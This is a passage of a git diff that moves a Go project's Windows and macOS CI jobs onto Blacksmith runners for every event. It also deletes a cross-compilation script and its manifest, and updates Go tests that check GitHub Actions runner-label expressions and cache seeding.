stays a job, and why: `go build`), and attributes drift against the merge-base. Releases publish no pure-Go Linux binary a Bazel repository could pin by sha256. - The macOS and Windows legs of `check-doc-freshness-platforms` (no remote - workers for those hosts), on Blacksmith for same-repo PRs and merge groups. + workers for those hosts), on Blacksmith for every PR and merge group. `check-doc-freshness.sh` compares review dates with today's date, which is not in the action key: a cached pass stands until one of its inputs changes, and nightly's `--config=fresh` run re-checks it against the date. -### Same-Repo Blacksmith macOS Legs +### Blacksmith Windows and macOS Jobs -pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and -`check-doc-freshness-platforms`, run their macOS leg on -`blacksmith-6vcpu-macos-26` (Apple Silicon) for same-repo PRs and -merge_group, through the same `runner: same-repo-macos` matrix marker and -same-repo expression their Linux/Windows legs use. Forks, Dependabot and -every other event keep GitHub-hosted `macos-latest`. They are the only PR +Every Windows and macOS job runs on Blacksmith for every PR and merge group, +forks and Dependabot included (ga-96smfk.22); everything Linux runs under +Bazel on rbe-west. pr.yml's Windows jobs (`test-windows-liveness`, +`test-windows-small`, `worktree-remove-windows`, `windows-make-shell`) name +their `blacksmith-*vcpu-windows-2025` label literally; the two mixed-OS +matrix jobs, `pr-preflight-platforms` and `check-doc-freshness-platforms`, +run a macOS leg on `blacksmith-6vcpu-macos-26` (Apple Silicon) and a Windows +leg on `blacksmith-4vcpu-windows-2025`, each leg naming its label in the +matrix (`runs-on: ${{ matrix.runner }}`). There is no GitHub-hosted fallback: +Blacksmith serves this org's fork PRs (gascity's fork PRs run their CI on +`blacksmith-*` labels). Fork runs get no secrets and a read-only token +(`TestBlacksmithJobsReadNoSecrets` keeps every Blacksmith job free of secret +reads), each job runs in a fresh VM, and the repository's fork-PR approval +setting stays the boundary for who may run code there (a fork's own workflow +file controls `runs-on` anyway). `release.yml` and `nightly.yml` are not PR +checks and keep their own runners. + +The Linux leg of `pr-preflight-platforms` and the Linux-cross-compiled +Windows test binaries (`windows-test-binaries`, its "-prebuilt" twins, +main.yml's `windows-test-binaries-cache` and the `WINDOWS_PREBUILT_REQUIRED` +flag) are retired: Bazel runs the Linux leg's tests, and the native Windows +pair (`test-windows-liveness`, `worktree-remove-windows`) is the required +run of the twins' tests. macOS jobs; `release.yml` stays on `macos-latest`. - **Label.** Pinned to `macos-26` because GitHub's `macos-latest` resolves to `macos-26-arm64` today, so both paths run the same OS and architecture and the PR legs and their saver never straddle a Blacksmith `-latest` alias - move. Bump it when GitHub moves `macos-latest`. 6 vCPU is already twice - `macos-latest`'s 3 vCPU; 12 vCPU is not justified for legs dominated by one - incremental `./cmd/bd` test compile. + move. Bump it when GitHub moves `macos-latest`. 12 vCPU is not justified + for legs dominated by one incremental `./cmd/bd` test compile. - **Caches.** The legs stay restore-only (`setup-go` `cache: false`, `actions/cache/restore`). Blacksmith cannot see GitHub-saved caches, so main.yml's `blacksmith-macos-go-build-cache` job is their seeder: same label, push-to-main-only job guard, module cache plus a non-race GOCACHE keyed by `go.sum` and UTC day, warmed by the shared - `scripts/ci/warm-non-race-cache.sh`. Its `github` venue leg seeds the - fork path (`macos-latest`) the same way; main.yml's `test` job (the macOS - full suite) runs on the same Blacksmith label and restores the Blacksmith - leg's caches. -- **Pins.** `TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics`, + `scripts/ci/warm-non-race-cache.sh`. main.yml's `test` job (the macOS + full suite) runs on the same label and restores its caches. main.yml's + `test-windows` seeds the Windows legs the same way. +- **Pins.** `TestBlacksmithWindowsMacOSRunsOnEveryEvent`, `TestBlacksmithMacOSSaverMatchesPRLegs`, `TestBlacksmithSaverJobsGuardedAgainstPullRequest`, `TestBlacksmithSaverCacheKeysAreNotPerCommit`, @@ -1408,21 +1423,17 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` (~2.5 min), `check-doc-flags` (~1.7 min), -`check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, -Windows and macOS legs, up to ~5 min on Windows), -`windows-make-shell` (~2.7 min), -`windows-test-binaries` plus the prebuilt Windows pair (~7 min end to -end), the advisory native Windows pair (~5 min; the gate waits for them), +`check-doc-freshness-platforms` and `pr-preflight-platforms` (Windows and +macOS legs, up to ~5 min on Windows), +`windows-make-shell` (~2.7 min), the native Windows pair +(`test-windows-liveness`, `worktree-remove-windows`, ~1-5 min), `test-nix` (~3 min) and the package gates (seconds unless their paths changed). None caches results the way Bazel does; most are cheap or -already path- or tier-gated. Candidates to skip on `merge_group`, not -done here: the advisory native Windows pair (`test-windows-liveness`, -`worktree-remove-windows`, advisory while `WINDOWS_PREBUILT_REQUIRED` is -`"true"`), and the macOS legs of the preflight/doc-freshness matrices +already path- or tier-gated. A candidate to skip on `merge_group`, not +done here: the macOS legs of the preflight/doc-freshness matrices (platform behavior the PR run already checked on the same inputs). With -result reuse the merge group's critical path is the Windows -cross-compile and the Windows matrix legs (~5-7 min), not the Bazel -lanes once their tests are cached. An entry's first build after a base +result reuse the merge group's critical path is the Windows legs +(~5 min), not the Bazel lanes once their tests are cached. An entry's first build after a base change still compiles what changed. ### Failures and flakes @@ -1516,7 +1527,10 @@ PRs off Blacksmith entirely and back onto `ubuntu-latest`: Blacksmith cache seeds and the `scripts-go-checks`/`pr-lint-wrapper`/ preflight/doc-freshness runner moves, including the preflight/ doc-freshness macOS legs and `blacksmith-macos-go-build-cache` - ([Same-Repo Blacksmith macOS Legs](#same-repo-blacksmith-macos-legs)). + ([Blacksmith Windows and macOS Jobs](#blacksmith-windows-and-macos-jobs)). +5. **ga-96smfk.22** — the Windows and macOS jobs' literal Blacksmith labels + ([Blacksmith Windows and macOS Jobs](#blacksmith-windows-and-macos-jobs)): + during an outage point them back at `windows-latest` / `macos-latest`. F7c (the advisory workflows) is excluded from this list: it is advisory only, so leaving it on Blacksmith during an outage delays non-required checks but diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 178df0e2e..c7ba45203 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -56,7 +56,6 @@ go_test( "required_suite_test.go", "test_script_test.go", "upgrade_smoke_loop_test.go", - "windows_test_binaries_manifest_test.go", ], data = [ "//:repo_files", diff --git a/scripts/ci/build-windows-test-binaries.sh b/scripts/ci/build-windows-test-binaries.sh deleted file mode 100755 index 28edf9174..000000000 --- a/scripts/ci/build-windows-test-binaries.sh +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env bash -# Cross-compile the Windows test/bd binaries listed in -# scripts/ci/windows-test-binaries.txt on a Linux runner, so the native -# Windows CI jobs that consume them (today: the "-prebuilt" advisory twins of -# test-windows-liveness and worktree-remove-windows) no longer pay for a CGO -# compile inside windows-latest itself. -# -# Usage: build-windows-test-binaries.sh OUT_DIR -# -# For every non-comment, non-blank line "name cgo tags package" in the -# manifest: -# - name ending in ".test.exe" -> `go test -c` (a standalone test binary) -# - anything else -> `go build` (a regular executable) -# -# cgo=1 entries cross-compile with the same mingw-w64 toolchain release.yml's -# goreleaser job uses for the shipped bd-windows-amd64 binary -# (CC=x86_64-w64-mingw32-gcc, CXX=x86_64-w64-mingw32-g++; see .goreleaser.yml). -# cgo=0 entries build with CGO_ENABLED=0 and need no C toolchain. -# -# Writes OUT_DIR/SHA256SUMS so the Windows consumer jobs can verify the -# artifact after download (`sha256sum -c`). -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" -MANIFEST="$REPO_ROOT/scripts/ci/windows-test-binaries.txt" - -if [[ $# -ne 1 ]]; then - echo "usage: $0 OUT_DIR" >&2 - exit 2 -fi -OUT_DIR="$1" -mkdir -p "$OUT_DIR" - -if [[ ! -f "$MANIFEST" ]]; then - echo "manifest not found: $MANIFEST" >&2 - exit 1 -fi - -echo "== host go toolchain ==" >&2 -go env GOVERSION GOHOSTOS GOHOSTARCH >&2 - -if command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1; then - echo "== mingw-w64 cross-compiler ==" >&2 - x86_64-w64-mingw32-gcc --version | head -n1 >&2 -fi - -built=0 -while IFS= read -r line; do - # Strip comments and blank lines. - line="${line%%#*}" - line="$(echo "$line" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')" - [[ -z "$line" ]] && continue - - read -r name cgo tags package <<<"$line" - if [[ -z "$name" || -z "$cgo" || -z "$tags" || -z "$package" ]]; then - echo "malformed manifest line: $line" >&2 - exit 1 - fi - - out="$OUT_DIR/$name" - echo "== building $name (cgo=$cgo tags=$tags package=$package) ==" >&2 - - env_args=(GOOS=windows GOARCH=amd64 CGO_ENABLED="$cgo") - if [[ "$cgo" == "1" ]]; then - env_args+=(CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++) - fi - - # Print the resolved toolchain for this entry so the advisory-phase log - # confirms native-vs-cross CGO parity (F4.8 item 3), without failing the - # build if `go env` ever rejects one of the override vars up front. - env "${env_args[@]}" go env CGO_ENABLED CC >&2 || true - - start=$(date +%s) - if [[ "$name" == *.test.exe ]]; then - env "${env_args[@]}" go test -c -tags "$tags" -o "$out" "$package" - else - env "${env_args[@]}" go build -tags "$tags" -o "$out" "$package" - fi - elapsed=$(( $(date +%s) - start )) - size=$(stat -c%s "$out" 2>/dev/null || stat -f%z "$out") - echo "== built $name in ${elapsed}s (${size} bytes) ==" >&2 - - built=$((built + 1)) -done <"$MANIFEST" - -if [[ "$built" -eq 0 ]]; then - echo "manifest $MANIFEST produced zero binaries" >&2 - exit 1 -fi - -( - cd "$OUT_DIR" - sha256sum -- * >SHA256SUMS -) -echo "wrote $OUT_DIR/SHA256SUMS ($built binaries)" >&2 diff --git a/scripts/ci/run-go-test-binary.sh b/scripts/ci/run-go-test-binary.sh index be4f71d76..8020ffd44 100755 --- a/scripts/ci/run-go-test-binary.sh +++ b/scripts/ci/run-go-test-binary.sh @@ -1,6 +1,6 @@ #!/usr/bin/env bash # Run a standalone `go test -c` binary (typically cross-compiled on a -# different host, e.g. scripts/ci/build-windows-test-binaries.sh on Linux) +# different host) # so that it behaves like `go test` would have, from the caller's point of # view: same cwd convention, same flag names, same BEADS_TEST_REPO_ROOT # resolution. @@ -51,8 +51,8 @@ # short-circuit, beads_test_env_enter's unset has already run by the time # control reaches here, so the line below's `${BEADS_TEST_REPO_ROOT:-...}` # always falls through to GITHUB_WORKSPACE -- exactly the value a CI runner -# needs. When this script instead runs standalone (the "-prebuilt" jobs' -# direct `run-go-test-binary.sh ...` steps, with no test.sh and no +# needs. When this script instead runs standalone (a direct +# `run-go-test-binary.sh ...` call, with no test.sh and no # beads_test_env_enter in between), there is nothing to have unset it, and # the same GITHUB_WORKSPACE fallback applies for the same reason. set -euo pipefail diff --git a/scripts/ci/windows-test-binaries.txt b/scripts/ci/windows-test-binaries.txt deleted file mode 100644 index 502017ab0..000000000 --- a/scripts/ci/windows-test-binaries.txt +++ /dev/null @@ -1,28 +0,0 @@ -# Manifest for the Windows cross-compile job (scripts/ci/build-windows-test-binaries.sh). -# -# Each non-comment, non-blank line is: name cgo tags package -# name - output file name. A name ending in ".test.exe" is built with -# `go test -c` (a standalone test binary); anything else is built -# with `go build` (a regular executable, e.g. bd.exe). -# cgo - 0 or 1. Matches what the native Windows job this binary replaces -# used: explicit CGO_ENABLED=0 where the job set it, 1 where it -# relied on the windows-latest runner default (which is 1 - gcc is -# on PATH there). cgo=1 entries cross-compile with -# CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++, the same -# mingw toolchain release.yml's goreleaser job uses for the -# shipped bd-windows-amd64 binary (see .goreleaser.yml). -# tags - Go build tags, comma-separated, no spaces (e.g. gms_pure_go or -# integration,gms_pure_go). -# package - the Go package import path/pattern to build or test-compile. -# -# This is the advisory-phase manifest: it covers only the two cmd/bd-backed -# Windows jobs that currently have "-prebuilt" twins -# (test-windows-liveness-prebuilt, worktree-remove-windows-prebuilt) in -# pr.yml. The windows legs of pr-preflight-platforms and -# check-doc-freshness-platforms, and the small CGO=0 packages, are unscheduled -# follow-up work and are NOT yet listed here or consumed by any job. -# -# name cgo tags package -bd.exe 1 gms_pure_go ./cmd/bd -cmd-bd-cgo.test.exe 1 gms_pure_go ./cmd/bd -cmd-bd-nocgo.test.exe 0 gms_pure_go ./cmd/bd diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 6937a524e..a6a1b3466 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -35,51 +35,44 @@ const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (git // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized // larger than the 2 vCPU default (check-doc-flags, -// pr-risk.yml's test-nix at 4 vCPU; windows-test-binaries at 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. +// pr-risk.yml's test-nix at 4 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" -// F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, public -// beta) and macOS (blacksmith-*vcpu-macos-26) labels, same ternary shape -// as the Linux consts above - forks/Dependabot keep the current GitHub-hosted -// windows-latest/macos-latest label. windows-2025 is GitHub's windows-2025 -// image minus the full Visual Studio IDE, EdgeDriver and WinAppDriver; VS -// Build Tools 2022 is present (cgo via MSVC/clang-cl or an installed -// mingw-w64 toolchain), but there is no Linux Docker. Jobs moved onto these -// labels that rely on a specific Windows toolchain detail already document -// that dependency at the call site. -const sameRepoBlacksmithWindows2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows16vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-16vcpu-windows-2025' || 'windows-latest' }}" +// Windows and macOS jobs run on Blacksmith for every event, forks and +// Dependabot included (ga-96smfk.22): rbe-west has no Windows or macOS +// workers, and Blacksmith serves fork PRs in this org (gascity's fork PRs +// run on blacksmith-* labels). So their runs-on is the literal label, +// wrapped in a trivial expression like main.yml's push-only Blacksmith jobs +// (a bare self-hosted label trips actionlint). windows-2025 is GitHub's +// windows-2025 image minus the full Visual Studio IDE, EdgeDriver and +// WinAppDriver; VS Build Tools 2022 is present, but there is no Linux +// Docker. Fork runs get no secrets and a read-only token, and each job runs +// in a fresh VM; the repository's fork-PR approval setting is the boundary +// for who may run code there (a fork's own workflow file controls runs-on +// anyway). TestBlacksmithJobsReadNoSecrets keeps every such job free of +// secret reads. +const blacksmithWindows2vcpuRunsOn = "${{ 'blacksmith-2vcpu-windows-2025' }}" +const blacksmithWindows4vcpuRunsOn = "${{ 'blacksmith-4vcpu-windows-2025' }}" -// Same-repo Blacksmith macOS (Apple Silicon M4, ARM64). Pinned to macos-26 -// rather than blacksmith-*-macos-latest because GitHub's macos-latest (the -// fork/Dependabot fallback) resolves to macos-26-arm64 today; pinning keeps -// both paths on the same OS/arch and keeps the PR legs and main.yml's -// blacksmith-macos-go-build-cache saver on one image regardless of when -// Blacksmith moves its own -latest alias. Bump these (and -// blacksmithMacOSLabel) when GitHub moves macos-latest. +// Blacksmith macOS (Apple Silicon M4, ARM64), pinned to macos-26 (the image +// GitHub's macos-latest resolves to) so the PR legs and main.yml's +// blacksmith-macos-go-build-cache saver share one image regardless of when +// Blacksmith moves its own -latest alias. const blacksmithMacOSLabel = "blacksmith-6vcpu-macos-26" -const sameRepoBlacksmithMacOS6vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }}" -const sameRepoBlacksmithMacOS12vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-12vcpu-macos-26' || 'macos-latest' }}" +const blacksmithWindowsLabel = "blacksmith-4vcpu-windows-2025" -// sameRepoPlatformsMatrixMarkerRunsOn is the "matrix marker" form (spec -// F7/F7b §2.1) used by mixed-OS matrix jobs (pr-preflight-platforms, -// check-doc-freshness-platforms): Actions does not expand `${{ }}` inside a -// matrix array/include value, so each OS leg's `include` entry instead sets a -// plain string marker field (`runner: same-repo-linux` etc.), and a single -// chained ternary in the job's `runs-on` tests which marker (if any) the -// current leg carries, falling back to `matrix.os` for legs with no marker or -// when the marker's own same-repo condition is false. -// -// The macOS branch resolves like the other two: blacksmith-6vcpu-macos-26 -// (sameRepoBlacksmithMacOS6vcpu's label) for a trusted same-repo PR or -// merge_group, GitHub-hosted macos-latest otherwise. F7b review fix S3 kept -// it a plain 'macos-latest' (cost, and no push-to-main Blacksmith-macOS -// saver); the cost is now accepted and main.yml's -// blacksmith-macos-go-build-cache is that saver. -const sameRepoPlatformsMatrixMarkerRunsOn = "${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }}" +// platformsMatrixRunsOn: the mixed-OS matrix jobs (pr-preflight-platforms, +// check-doc-freshness-platforms) name each leg's Blacksmith label in its +// `include` entry's `runner` field. +const platformsMatrixRunsOn = "${{ matrix.runner }}" + +// platformsMatrixRunners: each mixed-OS matrix leg's `os` (which keeps the +// check names stable) -> its Blacksmith label. +var platformsMatrixRunners = map[string]string{ + "macos-latest": blacksmithMacOSLabel, + "windows-latest": blacksmithWindowsLabel, +} // --- a minimal GitHub Actions expression evaluator ------------------------- // @@ -465,12 +458,6 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { {"blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith2vcpu}, {"blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith4vcpu}, {"blacksmith-8vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith8vcpu}, - {"blacksmith-2vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows2vcpu}, - {"blacksmith-4vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows4vcpu}, - {"blacksmith-8vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows8vcpu}, - {"blacksmith-16vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows16vcpu}, - {"blacksmith-6vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, - {"blacksmith-12vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS12vcpu}, } for _, c := range cases { ctx := map[string]string{ @@ -494,71 +481,11 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { } } -// TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics runs the real, -// pinned sameRepoPlatformsMatrixMarkerRunsOn chained-ternary expression -// (pr-preflight-platforms' and check-doc-freshness-platforms' runs-on, F7b -// §2.1) through evalGHExpr for every (marker, event) combination the policy -// cares about: the linux/windows `runner` markers resolve to that OS's -// Blacksmith label only on a trusted same-repo PR/merge_group, falling back -// to that OS's GitHub-hosted label otherwise (the macos marker included: -// blacksmith-6vcpu-macos-26 vs. macos-latest); and a leg with no marker at -// all (there is none today, but the fallback must still be safe) falls back -// to matrix.os. Every marker is additionally checked against its flat -// same-repo const for every event shape, so the chained ternary's per-OS -// arms cannot drift from the single-OS expressions. -func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { +// TestBlacksmithWindowsMacOSRunsOnEveryEvent: the Windows and macOS labels +// resolve to Blacksmith on every event shape, forks and Dependabot included; +// there is no GitHub-hosted fallback left to drift to. +func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { const ownRepo = "steveyegge/beads" - trustedCtx := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": ownRepo, - "github.repository": ownRepo, - "github.actor": "alice", - } - forkCtx := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": "someone-else/beads", - "github.repository": ownRepo, - "github.actor": "alice", - } - cases := []struct { - name string - marker string // matrix.runner - os string // matrix.os - ctx map[string]string - wantRunsOn string - }{ - {"linux marker, trusted", "same-repo-linux", "ubuntu-latest", trustedCtx, "blacksmith-4vcpu-ubuntu-2404"}, - {"linux marker, fork", "same-repo-linux", "ubuntu-latest", forkCtx, "ubuntu-latest"}, - {"windows marker, trusted", "same-repo-windows", "windows-latest", trustedCtx, "blacksmith-4vcpu-windows-2025"}, - {"windows marker, fork", "same-repo-windows", "windows-latest", forkCtx, "windows-latest"}, - {"macos marker, trusted", "same-repo-macos", "macos-latest", trustedCtx, blacksmithMacOSLabel}, - {"macos marker, fork", "same-repo-macos", "macos-latest", forkCtx, "macos-latest"}, - {"no marker falls back to matrix.os", "", "some-other-os", trustedCtx, "some-other-os"}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - ctx := map[string]string{} - for k, v := range c.ctx { - ctx[k] = v - } - ctx["matrix.runner"] = c.marker - ctx["matrix.os"] = c.os - got := mustEvalGHRunsOn(t, sameRepoPlatformsMatrixMarkerRunsOn, ctx) - if got != c.wantRunsOn { - t.Errorf("%s: runs-on = %q, want %q", c.name, got, c.wantRunsOn) - } - }) - } - - // Each marker arm must resolve exactly like its flat single-OS const for - // every event shape: same-repo PR and merge_group get Blacksmith; fork, - // deleted fork head, Dependabot, push and every other event keep the - // GitHub-hosted label. - markerConsts := []struct{ marker, os, flat string }{ - {"same-repo-linux", "ubuntu-latest", sameRepoBlacksmith4vcpu}, - {"same-repo-windows", "windows-latest", sameRepoBlacksmithWindows4vcpu}, - {"same-repo-macos", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, - } events := []struct{ name, event, headRepo, actor string }{ {"same-repo PR", "pull_request", ownRepo, "alice"}, {"merge_group", "merge_group", "", ""}, @@ -568,23 +495,26 @@ func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { {"push", "push", "", "alice"}, {"schedule", "schedule", "", ""}, } - for _, m := range markerConsts { + for _, c := range []struct{ expr, want string }{ + {blacksmithWindows2vcpuRunsOn, "blacksmith-2vcpu-windows-2025"}, + {blacksmithWindows4vcpuRunsOn, blacksmithWindowsLabel}, + {"${{ '" + blacksmithMacOSLabel + "' }}", blacksmithMacOSLabel}, + } { for _, e := range events { - t.Run(m.marker+"/"+e.name, func(t *testing.T) { - ctx := map[string]string{ - "github.event_name": e.event, - "github.event.pull_request.head.repo.full_name": e.headRepo, - "github.repository": ownRepo, - "github.actor": e.actor, - "matrix.runner": m.marker, - "matrix.os": m.os, - } - got := mustEvalGHRunsOn(t, sameRepoPlatformsMatrixMarkerRunsOn, ctx) - want := mustEvalGHRunsOn(t, m.flat, ctx) - if got != want { - t.Errorf("marker %s under %s: runs-on = %q, flat const resolves to %q", m.marker, e.name, got, want) - } - }) + ctx := map[string]string{ + "github.event_name": e.event, + "github.event.pull_request.head.repo.full_name": e.headRepo, + "github.repository": ownRepo, + "github.actor": e.actor, + } + if got := mustEvalGHRunsOn(t, c.expr, ctx); got != c.want { + t.Errorf("%s under %s = %q, want %q", c.expr, e.name, got, c.want) + } + } + } + for _, leg := range []string{blacksmithMacOSLabel, blacksmithWindowsLabel} { + if got := mustEvalGHRunsOn(t, platformsMatrixRunsOn, map[string]string{"matrix.runner": leg}); got != leg { + t.Errorf("%s with matrix.runner %q = %q", platformsMatrixRunsOn, leg, got) } } } diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index b1d251737..67e1bdfc3 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -194,19 +194,15 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { } // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the -// reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (test-windows and the macOS Go build cache saver) -// must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and -// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage) -// -- dropping either silently loses a cache seed with no test noticing -// (TestSameRepoBlacksmithRunners only pins the runs-on ternary string, which -// does not change shape if a matrix axis's value list shrinks). +// reviewer's mutate.py found surviving against pre-fix code (M8, M9). The +// Windows and macOS savers (test-windows, blacksmith-macos-go-build-cache) +// run one Blacksmith leg only: no GitHub-hosted Windows or macOS PR leg is +// left to seed (ga-96smfk.22). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") for _, jobName := range []string{"test-windows", "blacksmith-macos-go-build-cache"} { - job := workflow.job(t, jobName) - if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { - t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) + if m := workflow.job(t, jobName).Strategy.Matrix; len(m.Venue) != 0 || len(m.Include) != 0 { + t.Errorf("main.yml's %s has a matrix %+v; it seeds the one Blacksmith label its PR legs run on", jobName, m) } } } @@ -252,55 +248,38 @@ var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-fre // TestBlacksmithMacOSSaverMatchesPRLegs pins the contract between pr.yml's // macOS PR legs and their only seeder, main.yml's // blacksmith-macos-go-build-cache: Blacksmith cannot see GitHub-saved caches -// (and vice versa), so the saver must run on exactly the labels a same-repo -// and a fork PR's macOS leg resolve to, write the cache path/key family those legs -// restore, and compile what they compile (the shared warm-up). The PR legs -// stay restore-only and are inside the default-caching-action sweep. +// (and vice versa), so the saver must run on exactly the label every PR's +// macOS leg runs on (forks included), write the cache path/key family those +// legs restore, and compile what they compile (the shared warm-up). The PR +// legs stay restore-only and are inside the default-caching-action sweep. func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") mainWF := readCIWorkflow(t, "main.yml") saver := mainWF.job(t, "blacksmith-macos-go-build-cache") - const ownRepo = "gastownhall/beads" - sameRepoMacOS := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": ownRepo, - "github.repository": ownRepo, - "github.actor": "alice", - "matrix.runner": "same-repo-macos", - "matrix.os": "macos-latest", - } - forkMacOS := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": "someone/beads", - "github.repository": ownRepo, - "github.actor": "someone", - "matrix.runner": "same-repo-macos", - "matrix.os": macOSRunner, - } - // One leg per venue: the Blacksmith leg seeds same-repo PRs, the github - // leg the fork/Dependabot macos-latest path. - if want := "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}"; saver.RunsOn != want { + if want := "${{ '" + blacksmithMacOSLabel + "' }}"; saver.RunsOn != want { t.Errorf("blacksmith-macos-go-build-cache runs-on = %q, want %q", saver.RunsOn, want) } - if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 || !equalStrings(saver.Strategy.Matrix.Venue, []string{"blacksmith", "github"}) { - t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v venue=%v, want a timeout and one leg per venue [blacksmith github]", - saver.TimeoutMinutes, saver.Strategy.Matrix.Include, saver.Strategy.Matrix.Venue) + if saver.TimeoutMinutes == 0 { + t.Error("blacksmith-macos-go-build-cache has no timeout-minutes") } saverSave := saver.step(t, "Save non-race Go build cache") for _, jobName := range blacksmithMacOSPRLegJobs { job := pr.job(t, jobName) - // The default-caching sweep (TestBlacksmithReachablePRJobsDisableDefaultCachingActions) - // and the no-secrets sweep select jobs by a blacksmith- runs-on. - if !strings.Contains(job.RunsOn, "'"+blacksmithMacOSLabel+"'") || !strings.Contains(job.RunsOn, "blacksmith-") { - t.Errorf("pr.yml %s runs-on %q does not name 